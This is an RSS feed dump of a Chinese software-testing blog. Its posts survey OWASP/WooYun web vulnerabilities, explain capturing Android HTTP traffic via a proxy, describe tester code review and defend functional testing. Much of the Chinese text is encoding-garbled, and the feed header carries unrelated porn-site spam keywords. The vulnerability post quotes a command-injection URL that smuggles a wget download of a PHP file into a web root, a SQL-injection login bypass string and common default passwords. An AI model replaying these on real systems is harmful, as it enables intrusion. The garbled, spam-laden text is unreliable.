??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲成av人片在线天堂无,亚洲精品中文字幕无乱码麻豆,亚洲黄色在线网站http://m.tkk7.com/qileilove/category/49768.html不想做屌丝的码农Q不是好目l理Q屌丝生涯从此开始!zh-cnFri, 12 Dec 2014 08:12:19 GMTFri, 12 Dec 2014 08:12:19 GMT60渗透测试必知必?x)—Web漏洞http://m.tkk7.com/qileilove/archive/2014/12/11/421306.html其自然EVO其自然EVOThu, 11 Dec 2014 15:26:00 GMThttp://m.tkk7.com/qileilove/archive/2014/12/11/421306.htmlhttp://m.tkk7.com/qileilove/comments/421306.htmlhttp://m.tkk7.com/qileilove/archive/2014/12/11/421306.html#Feedback0http://m.tkk7.com/qileilove/comments/commentRss/421306.htmlhttp://m.tkk7.com/qileilove/services/trackbacks/421306.html0x00前言
  本文为对WEB漏洞研究pd的开,日后?x)针对这些漏z一一研究Q敬h?/div>
  0x01 目录
  0x00 前言
  0x01 目录
  0x02 OWASP TOP10 单介l?/div>
  0x03 乌云TOP 10 单介l?/div>
  0x04 非主的WEB漏洞
  0x02 OWASP TOP10 单介l?/strong>
  除了(jin)OWASP的TOP10QW(xu)eb安全漏洞q有很多很多Q在?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">和加固系l时也不能老盯着TOP10Q实际上是TOP10中的那少数几?/div>
  直接?013的:(x)
  A1: 注入Q包?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">SQL注入、OS注入、LDAP注入。SQL注入最常见Qwooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例,׃现在自动化工具非常多Q通常都是扑ֈ注入点后直接交给以sqlmapZ表的工具
  命o(h)注入相对来说出现得较?yu),形式可以是?x)
  https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;
  也可以查看案例:(x)极\׃插g安装shell命o(h)注入漏洞 Q未对用戯入做M校验Q因此在web端ssh密码填写处输入一条命令`dropbear`便得C(jin)执行
  直接搜烦(ch)LDAP注入案例Q简单尝试下q没有找刎ͼ关于LDAP注入的相关知识可以参考我整理的LDAP注入与防御解析。虽然没有搜到LDAP注入的案例,但是重要的LDAP信息 泄露q是挺多的,截至目前Q乌云上搜关键词LDAP?1条记录?/div>
  PHP对象注入Q偶然看到有PHP对象注入q种漏洞QOWASP上对其的解释为:(x)依赖于上下文的应用层漏洞Q可以让d者实施多U恶意攻击,如代码注入、SQL注入、\径遍历及(qing)拒绝服务。实现对象注入的条g为:(x)1) 应用E序必须有一个实现PHP术Ҏ(gu)(?__wakeup?__destruct)的类用于执行恶意dQ或开始一?POP chain"Q?) d中用到的cd有漏z的unserialize()被调用时必须已被声明Q或者自动加载的对象必须被这些类支持。PHP对象注入的案例及(qing)文章可以参考WordPress < 3.6.1 PHP 对象注入漏洞?/div>
  在查找资料时Q看C(jin)PHP 依赖注入Q原本以为是和安全相关的Q结果发玎ͼ(x)依赖注入是对于要求更易维护,更易试Q更加模块化的代码的解决Ҏ(gu)。果然不同的视角Q对同一个词的理解相差挺多的?/div>
  A2: 失效的n份认证及(qing)?x)话理Q乍看n份认证觉得是和输入密码有关的Q实际上q有?x)话id泄露{情况,注意力集中在口o(h)安全上:(x)
  案例1Q空口o(h)
  乌云Q国内ciscopd交换机空密码d大集?/div>
  乌云QUC某服务器可空口o(h)讉K数据?/strong>
  案例2Q弱口o(h)
  乌云Q盛大某站后台存在简单弱口o(h)可登录  admin/admin
  乌云Q电(sh)信某省客服系l弱口o(h)泄漏各种信息 .../123456
  乌云Q中国徏{股份有限公司OApȝtomcat弱口令导致陗 tomcat/tomcat
  案例3Q万能密?/strong>
  乌云Q?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">UdL(fng)上户pȝ存在qo(h)不严  admin'OR'a'='a/admin'OR'a'='a (实际上仍属于SQL注入)
  弱口令案例实在不一而
  在乌云一些弱口o(h)如下Q其中出镜次数最高的是:(x)admin/admin, admin/123456

  A3: 跨站脚本(XSS)Q最普遍的漏z,曾被认ؓ(f)是鸡肋漏z,事实证明有时候危宛_大的Q窃取cookieQ构造蠕虫不一而。XSS的技术体现在Javascript功底上,现在很多|站都有针对XSS的过滤器QJ2EE可以使用全局qo(h)器,但是qo(h)器基本都是用黑名单NQ是有可能绕q的Q回应了(jin)技术体现在Javascript功底上。跨站脚本还有flashcd的,׃相比之下出现得比较少Q浏览器和过滤器的防御精力不在这上面Q如果出现可能更Ҏ(gu)成功。值得一提的是,对于XSSQ现在的扫描工具都会(x)其标识为高危漏z,实际上扫描器Ҏ(gu)q回的响应中是否有加入的载荷来判断跨站脚本漏z存在的可能性,误报率会(x)比较高。还有就是常规扫描器只能识别反射型XSSQ反型XSS本n危害是比较小的,存储型XSS危害才大(危害大小看具体情?。反型XSS现在常规payload要想qIE10、IE11或chromeq是有难度的Q因此XSS技术的另一个体现方面即是对览器特性的?jin)解。至于存储型XSSQ则要看具体业务和数据是否会(x)受媄(jing)响,用户交互E度高Q利用难度就大Q如果能Ҏ(gu)证实漏洞存在Q但很难被触发或者就窃取到cookie也无法登陆,很难说明是高风险安全问题Q但q是有修复和改进的必要?/a>
  CSRF曾被UCؓ(f)沉睡的巨人,以前拿来举例旉是说AlicelBob转钱Q结果morry插了(jin)一脚,钱就跑到morry家去?jin)。危宛_大可,直接通过URL增删Ҏ(gu)作的也还有,更多的还是基于表单。如果是XSS+CSRF =>蠕虫 比较可观了(jin)Q也曄到过直接get root的案?br />
案例Q万辄(sh)׃?xss + csrf
  A10: 无效的重定向
  控制重定向可以钓|可以获取敏感文g的信息,在struts2中也有开N定向的命令执?/div>
  0x03 乌云TOP 10 单介l?/strong>
  上述是OWASP TOP10的WEB漏洞Q乌云出?jin)一个更加符合中国国情的 乌云QTop10 for 2014Q看着也是触目惊心(j)
  A1-互联|泄密事?撞库d
  本质上来说是使用?jin)不安全的口令,也许我可以将自己的密码设|的很复杂,别h破解不出来。但对于撞库d而言Q可以说是不怕神一L(fng)Ҏ(gu)Q就怕猪一L(fng)队友。我们注册用的|站或服务商他们保存?jin)我们用的密码Q而很多时候被泄露出去?jin)我们ƈ不知道。这也是考验我们密码?fn)惯的时候了(jin)Q强密码+不同的密码,当然密码多了(jin)也难以记住,不行借助软g或者普通̎L(fng)同一个密码,重要账号用不同密码吧
  A2-引用不安全的W三方应?/div>
  丄例子是heart bleed漏洞使用的opensslQ另外struts2的漏z也q数见不鲜,其次是CMS如wordpress使用的插?当然shellshock也会(x)有很多中枪的
  A3-pȝ错误/逻辑~陷带来的暴力猜?/div>
  暴力破解Q没对请求和错误ơ数做限Ӟ重放d同样是没做检验或限制
  A4-敏感信息/配置信息泄露
  包括但不限于目录遍历、日志、配|文件、svn目录、github或其他博客等地方
  A5-应用错误配置/默认配置
  包括但不限于默认路径、默认口令、目录穿、Q意文件下载等
  A6-SQL注入漏洞
  A7-XSS跨站脚本d/CSRF
  A8-未授权访?权限l过
  可匿名访问\判断referer值后免登?/div>
  A9-账户体系控制不严/权操作
  A10-内部重要资料/文档外泄
  q是信息泄露Q但是做?jin)区分,不同于应用或服务器的信息泄露Q专指内部信息泄露哟
  0x04 非主的WEB漏洞
  实际上,如果要挖漏洞或者做试Q从乌云上找案例?x)比较方便,除?jin)常见的几cM码层面的问题Q更多的是配|不当方面的Q最l归l到信息安全链上最脆弱的还是h本n
  除了(jin)上面提到的这些,其实q有很多的漏z啊Q跟讑֤有关pȝ先不说?jin),再提一下两个看h不错的:(x)XXE、SSRF(or XSPA)
  XXEQXML外部实体注入Q不仅仅是敏感信息泄Ԍ腾讯安全中心(j)QXXE漏洞攻防
  案例Q?/div>
  1. 乌云Q百度某功能XML实体注入
  2. 乌云Q?39邮箱XXE漏洞可读取文?/div>
  3. 乌云Q从开源中国的某XXE漏洞C站shell
  SSRF(服务端请求伪?: 据说用这招可以成功多ơ进入阿里、腾讯、百度等的内|,没爆出来的估计很多被用作杀器了(jin)
  案例Q?/div>
  1. 乌云Q百度脓(chung)吧SSRF
  2. 乌云Q新SSRF
  3. 乌云Q阿里巴巴SSRF


其自然EVO 2014-12-11 23:26 发表评论
]]>Android客户端捕获httph包的Ҏ(gu)http://m.tkk7.com/qileilove/archive/2013/01/30/394923.html其自然EVO其自然EVOWed, 30 Jan 2013 05:02:00 GMThttp://m.tkk7.com/qileilove/archive/2013/01/30/394923.htmlhttp://m.tkk7.com/qileilove/comments/394923.htmlhttp://m.tkk7.com/qileilove/archive/2013/01/30/394923.html#Feedback0http://m.tkk7.com/qileilove/comments/commentRss/394923.htmlhttp://m.tkk7.com/qileilove/services/trackbacks/394923.html对于Web试Q我们可以很Ҏ(gu)的抓取到相关的httph包,不用什么专业YӞ甚至览器都能帮我们完成q个功能Q拿到需要的httphq接 ?/p>

  httpq接对于同学来说Q?不论做功能、性能或是安全Q都是非帔R要的Q?他过滤了(jin)前台的因素,让测试同学直接能对后台进行交互?/p>

  以上是httpq接的重要性,基本{于废话Q下面是正题?/p>

  客户?a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: initial; line-height: normal !important;">安全试Q同样需要拿到http的请求包Q由于客L(fng)的前D限制绕q比较麻?ch),那么在做安全试的过E中Q直接拿到http的请求包昑־更外重要?/p>

  有如下方法可以拿到请求的http包:(x)

  1、在不配|代理的情况下,?a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: initial; line-height: normal !important;">Android客户端(模拟器)(j)的数据我们可以用wireshark或者etherpeek{网l层抓包软g抓取Q模拟器本n的数据交互是通过?sh)脑L的网卡进行的Q所以我们通过抓包软g抓取L|卡的数据包Q经q过滤,便可得到模拟器客L(fng)中的数据包,cMq样Q?/p>

  讉K之后Q通过wiresharkqo(h)httphQ便可找到我们刚刚发送的h?/p>

  当然Q这是种比较ȝ(ch)的方法,不过可以更确切的看到|络包发送的内容?/p>

  另一U办法是Ҏ(gu)拟器配置代理Q让所有请求包可以通过外部L的七层抓包YӞ例如fiddler Qburpsuite{所捕获刎ͼ配置代理需要先做一ơ设|:(x)cMq样Q?/p>




  q??#8220;讄”选项之后Q按照图C|?/p>

  q里proxy 讄?0.0.2.2是android模拟器对外部L地址的硬~码Q端口设?888是外部主机fiddler 的监听地址Q当?dng)如果是burpsuite 可以讄?080?/p>

  那么q样的话 Q我们就能通过fiddler抓取模拟器中的数据包?jin)?q样Ҏ(gu)试来Ԍ可以用web端的应用层工具对客户端的http数据q行处理Q方便的可就多了(jin)?/p>



其自然EVO 2013-01-30 13:02 发表评论
]]>
自动化构建方面的知识http://m.tkk7.com/qileilove/archive/2012/06/27/381583.html其自然EVO其自然EVOWed, 27 Jun 2012 02:01:00 GMThttp://m.tkk7.com/qileilove/archive/2012/06/27/381583.htmlhttp://m.tkk7.com/qileilove/comments/381583.htmlhttp://m.tkk7.com/qileilove/archive/2012/06/27/381583.html#Feedback0http://m.tkk7.com/qileilove/comments/commentRss/381583.htmlhttp://m.tkk7.com/qileilove/services/trackbacks/381583.htmlhttp://www.cnblogs.com/itech/archive/2011/07/25/2116447.html


其自然EVO 2012-06-27 10:01 发表评论
]]>软g试工程师如何参与代码检?/title><link>http://m.tkk7.com/qileilove/archive/2012/05/03/377247.html</link><dc:creator>其自然EVO</dc:creator><author>其自然EVO</author><pubDate>Thu, 03 May 2012 02:05:00 GMT</pubDate><guid>http://m.tkk7.com/qileilove/archive/2012/05/03/377247.html</guid><wfw:comment>http://m.tkk7.com/qileilove/comments/377247.html</wfw:comment><comments>http://m.tkk7.com/qileilove/archive/2012/05/03/377247.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/qileilove/comments/commentRss/377247.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/qileilove/services/trackbacks/377247.html</trackback:ping><description><![CDATA[<div><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; "><strong style="word-break: break-all; line-height: normal !important; "> <a href="" target="_self" style="word-break: break-all; text-decoration: none; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">试</strong></u></a>人员参与代码(g)视的收益Q?/strong></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  aQ测试h员可以在早期p够熟知系l,提前发现代码中的BUGQ?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  bQ提?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">试工程?/strong></u></a>阅读代码和写代码能力Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  cQ测试工E师的经验积累后Q可以避免一些很常见Q很普通低U的错误Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  dQ测试取得话语权Q促(j)q开发与试的更多^{沟通;</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  eQ对于开发新员工的代码,收益?x)加倍(新员工容易犯业务上的低错误Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; "><strong style="word-break: break-all; line-height: normal !important; ">  W零步:(x)Q比如新参与某系l的试Q?/strong></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  aQ?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">学习(fn)</strong></u></a>业务知识Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  bQ学?fn)系l整体架构;</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  cQ开发同学讲解设计架构、代码结构;</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  dQ熟(zhn)用系l,扑ֈ阅读代码下手点:(x)?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">日志</strong></u></a>、业务入口、SqlMap{;</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  eQ从程或者数据流阅读下去Q然后一步步深入C码中?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; "><strong style="word-break: break-all; line-height: normal !important; ">  W一步:(x)Qcode review准备Q?/strong></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  aQ当需求已l确定,试同学需要参与方案的讨论Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  bQ开发开始编写代码,试q行<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">试用例</strong></u></a>设计Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  cQ当开发某个类或者功能或者方法已l基本稳定,让开发串讲实现方式(避免出现实现方式不合理)(j)Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  dQ测试同学可以开始review开发的代码Q同时补充或者去重复试用例Qstory或者sdv试用例Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; "><strong style="word-break: break-all; line-height: normal !important; ">  W二步:(x)Qcode reviewq行Q?/strong></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  aQ对代码的规范进行检视;</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  bQ对代码的可试性进行检视;</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  cQ从业务场景的角度去review代码Q如果实现存在的问题Q那基本上可以发玎ͼ</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  dQ对于发现的问题Q徏议分时段l开发,否则?x)打乱开发的写代码节奏;</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  eQ如果你q不懂设计、不懂架构,那么可以从是否浪费CPU、是否浪费内存的角度看代码?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; "><strong style="word-break: break-all; line-height: normal !important; ">  W三步:(x)Qcode review后)(j)</strong></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  aQ{试后,应该不出现实现方案不合理的情况;</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  bQ有l果l计Q这个P代review的记录数Q可以横向比较;</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  cQP代ȝQ开发与试一赯行经验教训分享?/p></div><img src ="http://m.tkk7.com/qileilove/aggbug/377247.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/qileilove/" target="_blank">其自然EVO</a> 2012-05-03 10:05 <a href="http://m.tkk7.com/qileilove/archive/2012/05/03/377247.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>为功能测试正名,写给q大软g试同行http://m.tkk7.com/qileilove/archive/2012/05/03/377246.html其自然EVO其自然EVOThu, 03 May 2012 02:04:00 GMThttp://m.tkk7.com/qileilove/archive/2012/05/03/377246.htmlhttp://m.tkk7.com/qileilove/comments/377246.htmlhttp://m.tkk7.com/qileilove/archive/2012/05/03/377246.html#Feedback0http://m.tkk7.com/qileilove/comments/commentRss/377246.htmlhttp://m.tkk7.com/qileilove/services/trackbacks/377246.html

 首先Q恭?1testing生日快乐Q感谢?zhn)一直是所?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; ">软g试人员成长的摇和_支柱Q?/p>

  从刚刚接触Y件测?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; ">工作Q到现在已经有十q之久?/p>

  十年前,毕业后就q入?jin)一家Y件公司,l理分配的Q务就是测试YӞ发现有错的地方就告诉他。这是我对Y件测试工作的W一印象Q就是看pȝ是否报错Q各个功能按钮是否能够正响应?/p>

  两年后,׃公司l营不善Q我被公司裁员。其理由是:(x)技术ȝ认ؓ(f)没有必要讄软g试工程师的岗位。因此,竞岗Ӟ我无岗可竟?/p>

  恰yQ当时中国Y件评中?j)跟省科技厅联合培训,于是Q我q一ơ真正认识到什么是软g试。同Ӟ也知道了(jin)51testing和测试时代这些Y件测试交的专业q_?/p>

  之后Q我入职另一家Y件公司。当Ӟ入职的职务是试员,但公司的试基本上和我第一ơ接触Y件测试工作时的水q_不多。于是,我就从最基础?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; ">~陷理?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; ">试用例、测试流E、测试规范、测试标准等{,一步步的将公司的测试规范徏立v来,而我也因此成Z(jin)公司的测试部门经理。从试员到试部门l理Q在q短短的八个月的旉里,可以说我取得的每一ơ进步,掌握的每一U知识,均来源于51testing和QQ。可以说Q如果没有这些交^収ͼ׃可能有系l化学习(fn)的机?x)?/p>

  Z(jin)挑战质量要求更高的项目,我离开?jin)家乡,加入了(jin)现在的团队。这是一支由150多名技术h员组成的团队Q其中,试人员?0人。我入职的职务是试l长Q两周后任质量经理,八个月后L试ȝ。从各种试标准的制定到试规范的徏立,再到试体系的徏立;从团队战略发展方向到团队梯队再到试知识库的{徏Q从技术培训到团队成员职业规划Q三q来 Q我和这支团队一hѝ?/p>

  从业q十q_(d)参与的项目十余个Q其中千万以上的项目三个。项目涉?qing)MIS、HIS、GIS、OA、三l应用、BI、SOA、应用系l集成等诸多方向Q其试cd包括Q?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; ">功能试?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; ">性能试、接口测试?/p>

  说了(jin)q么多,大家一定以为我写跑题了(jin)Q其实不然。之所以描q自q成长l历Q是惛_诉大家我的体?x)来源于我的l历?/p>

  无论是在各种试论坛上,各个试QQ中Q还是在招聘时的应聘人员。我l常?x)遇到这U问题,怿大多数同行们也都遇到q?/p>

  1、做功能试有前途么Q?br style="word-break: break-all; line-height: normal !important; " />  2、做黑盒试有前途么Q?br style="word-break: break-all; line-height: normal !important; " />  3、我现在只能做功能测试,但我今后一定要?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; ">自动化测?/strong>、性能试Q?br style="word-break: break-all; line-height: normal !important; " />  4、你们公怸自动化了(jin)么?
  5、我?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; ">QTP、LR?/p>

  q大试同行在投历时Q也一定常见这U职位要求:(x)要求熟练掌握LR、QTP、QC、TD、Bugzilla{工具之一?/p>

  ׃先说说后面这U情c(din)一个公司在选择试人员Ӟ竟然这些测试工具作为选h标准之一。我想问q样招聘的公司几个问题:(x)

  1、贵公司的品适合上自动化么?
  2、贵公司的管理水qC自动化的要求?jin)么Q?br style="word-break: break-all; line-height: normal !important; " />  3、LR能完全支撑贵公司产品的性能试么?
  4、贵公司一q能有多项目需要做性能试Q?br style="word-break: break-all; line-height: normal !important; " />  5、缺L(fng)理工h个公司用的都不太一P其缺L(fng)理流E是需要结合公司管理流E的Q这U工具即便h家不?x)或没用q此cdP你就不能培训么?很难么?

  除非公司是在招聘对口的技术h才,否则Q我只能认ؓ(f)q家公司的测试水q真的不咋的。甚至于写招聘要求的人,压根׃懂测试?/p>

  ׃再来说说关于同行们对功能试的误解。好多h都认为功能测试门槛低Q没技术含量,好像提v来做功能试׃Z{似得。如果你有这U意识,我只能说Q兄弟,多干几年吧。我承认功能试的入门门槛是低,但我不认为功能测试没技术含量。我甚至认ؓ(f)一个能把功能测试做好的试人员Q才是一个合格的质量负责人!

  大家先别拍我Q让我们来谈一下什么是软g试。既然大安是同行,怿大家都认同:(x)“通过试手段Q在用户使用前,发现~陷?#8221;以及(qing)“软g中不可能没有~陷?#8221;q两句话。不错,试是不能被ID的,因此Q我们也不可能发现Y件中所有的~陷。因此,我们是不是能够换句话_(d)(x)“软g试是通过一pd的测试手D,证明软g具备一定的质量?#8221;

  如果你认同这一观点Q那么我们再来谈谈功能测试的范围?/p>

  狭义的功能测试:(x)q点点,那点点,看看能不能正打开面、程序会(x)不会(x)崩溃、功能是不是能够正确实现{等。这也就是大家之所以认为功能测试没技术含量的Ҏ(gu)原因。因U测试也得叫它功能测试?/p>

  q义的功能测试:(x)各种业务逻辑是否已正实玎ͼ各种业务U束是否正确实现Q各cȝD的数据是否能够正确处理QY件的定w机制如何Q数据的完整性、唯一性、正性是否已l通过试Q系l及(qing)数据的安全性是否已通过试QY件的易用性是否满用L(fng)需要?{等{等。功能测试所包含的范围实在是太大?/p>

  我没有贬低其他测试专业的意思,但有几点是需要说明的。随着各行各业对信息化的需求日益提高,其Y件的规模和复杂度正在d的提高。而功能测试的隑ֺ也随软g的复杂度逐日提高。而相Ҏ(gu)_(d)白盒试依旧x的是单个函数的代码逻辑以及(qing)异常的处理;自动化测试仅仅提高的是测试执行效率,试质量依然是要靠功能测试用例来保障Q性能试其实x的是业务发生的场景和如何生成负蝲和收集监控指标,其变化就是需要监控的对象更多Q媄(jing)响因素更为复杂?/p>

  面对规模庞大Q业务逻辑愈来愈复杂的pȝQ保障其软g质量Q就需要广大功能测试h员具备更强的逻辑分析、设计能力;掌握更多的业务知识及(qing)技术。同Ӟ׃当前国内l大多数企业Ҏ(gu)试工作的认知E度不Q大多数试工作都是在时间紧、Q务重的条件下完成的。那么,在有限的条g下,如何能够提高软g产品的质量,卻I(x)如何证明软g具备?jin)一定的质量。将是所有Y件质量负责h首先考虑的问题?/p>

  在这U前提下Q我认ؓ(f)Q一个好的功能测试工E师应具备丰富的行业知识Q专家Q,极强的逻辑分析能力Q精于业务架构、测试架构?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; ">数据?/strong>、测试用例的设计。公司的产品质量Q取决于试负责人的l织能力?qing)团队成员的技术能力,因此Q功能测试工E师在测试团队中不可或缺?/p>

  无论是白盒测试、自动化试、性能试Q都是不同的试手段Q但功能试却是产品质量的根本保障! 请广大正在从事功能测试的同行们,正视自己的工作,认真对待Q不要气馁或轻视自己的工作。将自己手头上的事做好,人生的每一D늻历都是你的财富Q?/p>



其自然EVO 2012-05-03 10:04 发表评论
